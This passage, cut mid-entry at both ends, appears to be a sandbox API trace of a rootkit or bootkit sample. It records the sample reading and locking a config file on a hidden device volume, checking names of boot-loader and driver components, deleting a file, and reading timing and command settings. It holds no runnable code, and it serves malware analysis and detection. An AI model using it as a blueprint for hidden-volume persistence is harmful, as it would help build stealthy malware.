(MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b9000 [0121.103] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.103] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.103] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.103] IdePortDispatch () returned 0x103 [0121.103] KeWaitForMutexObject () returned 0x0 [0121.103] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.103] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.103] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.103] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.103] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.103] IdePortDispatch () returned 0x103 [0121.103] KeWaitForMutexObject () returned 0x0 [0121.103] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.103] KeLeaveCriticalRegion () [0121.103] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.104] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.104] KeEnterCriticalRegion () [0121.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.104] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.104] KeLeaveCriticalRegion () [0121.104] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.104] KeEnterCriticalRegion () [0121.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.104] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.104] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.104] KeLeaveCriticalRegion () [0121.104] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.104] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.104] KeEnterCriticalRegion () [0121.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.104] ExFreePoolWithTag (P=0xfffffa8003bbbdc0, Tag=0x0) [0121.104] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.104] KeLeaveCriticalRegion () [0121.104] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.104] ReleaseMutex (hMutex=0xf0) returned 1 [0121.104] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.104] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.104] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.104] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.104] KeEnterCriticalRegion () [0121.104] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.104] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.104] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.104] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.104] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.104] IdePortDispatch () returned 0x103 [0121.104] KeWaitForMutexObject () returned 0x0 [0121.105] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.105] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.105] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.105] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.105] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.105] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.105] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.105] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.105] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.105] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.105] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.105] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.105] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.105] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.105] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.105] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.105] KeLeaveCriticalRegion () [0121.105] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.105] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.105] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.105] KeEnterCriticalRegion () [0121.105] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.105] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.105] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.105] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.105] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.105] IdePortDispatch () returned 0x103 [0121.105] KeWaitForMutexObject () returned 0x0 [0121.105] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.105] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.105] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.105] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.106] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.106] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.106] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.106] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.106] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.106] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.106] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.106] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.106] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.106] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.106] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.106] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.106] KeLeaveCriticalRegion () [0121.106] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.106] ReleaseMutex (hMutex=0x100) returned 1 [0121.106] Sleep (dwMilliseconds=0x2bf20) [0121.112] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b634b50, dwHighDateTime=0x1d24fa4)) [0121.112] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.112] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.112] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.112] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.112] KeEnterCriticalRegion () [0121.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.113] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.113] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.113] IdePortDispatch () returned 0x103 [0121.113] KeWaitForMutexObject () returned 0x0 [0121.113] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.113] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.113] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.113] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.113] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.113] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3fb0 [0121.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.113] KeLeaveCriticalRegion () [0121.113] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.113] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.113] KeEnterCriticalRegion () [0121.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.113] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.113] KeLeaveCriticalRegion () [0121.113] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.113] KeEnterCriticalRegion () [0121.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.113] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.113] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.113] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.113] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.113] IdePortDispatch () returned 0x103 [0121.113] KeWaitForMutexObject () returned 0x0 [0121.113] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.114] KeLeaveCriticalRegion () [0121.114] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.114] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.114] KeEnterCriticalRegion () [0121.114] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.114] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bc000 [0121.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.114] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.114] IdePortDispatch () returned 0x103 [0121.114] KeWaitForMutexObject () returned 0x0 [0121.114] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.114] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.114] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.114] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.114] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.114] IdePortDispatch () returned 0x103 [0121.114] KeWaitForMutexObject () returned 0x0 [0121.114] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.114] KeLeaveCriticalRegion () [0121.114] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.115] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.115] KeEnterCriticalRegion () [0121.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.115] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.115] KeLeaveCriticalRegion () [0121.115] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.115] KeEnterCriticalRegion () [0121.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.115] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.115] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003b67c60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.115] KeLeaveCriticalRegion () [0121.115] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.115] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.115] KeEnterCriticalRegion () [0121.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.115] ExFreePoolWithTag (P=0xfffffa8003bc3fb0, Tag=0x0) [0121.115] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.115] KeLeaveCriticalRegion () [0121.115] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.115] ReleaseMutex (hMutex=0xf0) returned 1 [0121.115] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.115] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.115] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.115] KeEnterCriticalRegion () [0121.115] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.115] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.115] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.115] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.115] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.115] IdePortDispatch () returned 0x103 [0121.115] KeWaitForMutexObject () returned 0x0 [0121.116] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.116] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.116] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.116] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.116] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.116] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe250 [0121.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.116] KeLeaveCriticalRegion () [0121.116] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.116] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.116] KeEnterCriticalRegion () [0121.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.116] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.116] KeLeaveCriticalRegion () [0121.116] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.116] KeEnterCriticalRegion () [0121.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.116] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.116] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.116] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.116] IdePortDispatch () returned 0x103 [0121.116] KeWaitForMutexObject () returned 0x0 [0121.116] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.116] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.116] KeLeaveCriticalRegion () [0121.116] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.116] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.116] KeEnterCriticalRegion () [0121.116] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.116] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035bd000 [0121.116] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.117] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.117] IdePortDispatch () returned 0x103 [0121.117] KeWaitForMutexObject () returned 0x0 [0121.117] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.117] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.117] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.117] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.117] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.117] IdePortDispatch () returned 0x103 [0121.117] KeWaitForMutexObject () returned 0x0 [0121.117] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.117] KeLeaveCriticalRegion () [0121.117] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.118] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.118] KeEnterCriticalRegion () [0121.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.118] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.118] KeLeaveCriticalRegion () [0121.118] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.118] KeEnterCriticalRegion () [0121.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.118] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.118] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.118] KeLeaveCriticalRegion () [0121.118] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.118] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.118] KeEnterCriticalRegion () [0121.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.118] ExFreePoolWithTag (P=0xfffffa8003bbe250, Tag=0x0) [0121.118] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.118] KeLeaveCriticalRegion () [0121.118] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.118] ReleaseMutex (hMutex=0xf0) returned 1 [0121.118] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.118] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.118] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.118] KeEnterCriticalRegion () [0121.118] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.118] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.118] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.118] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: 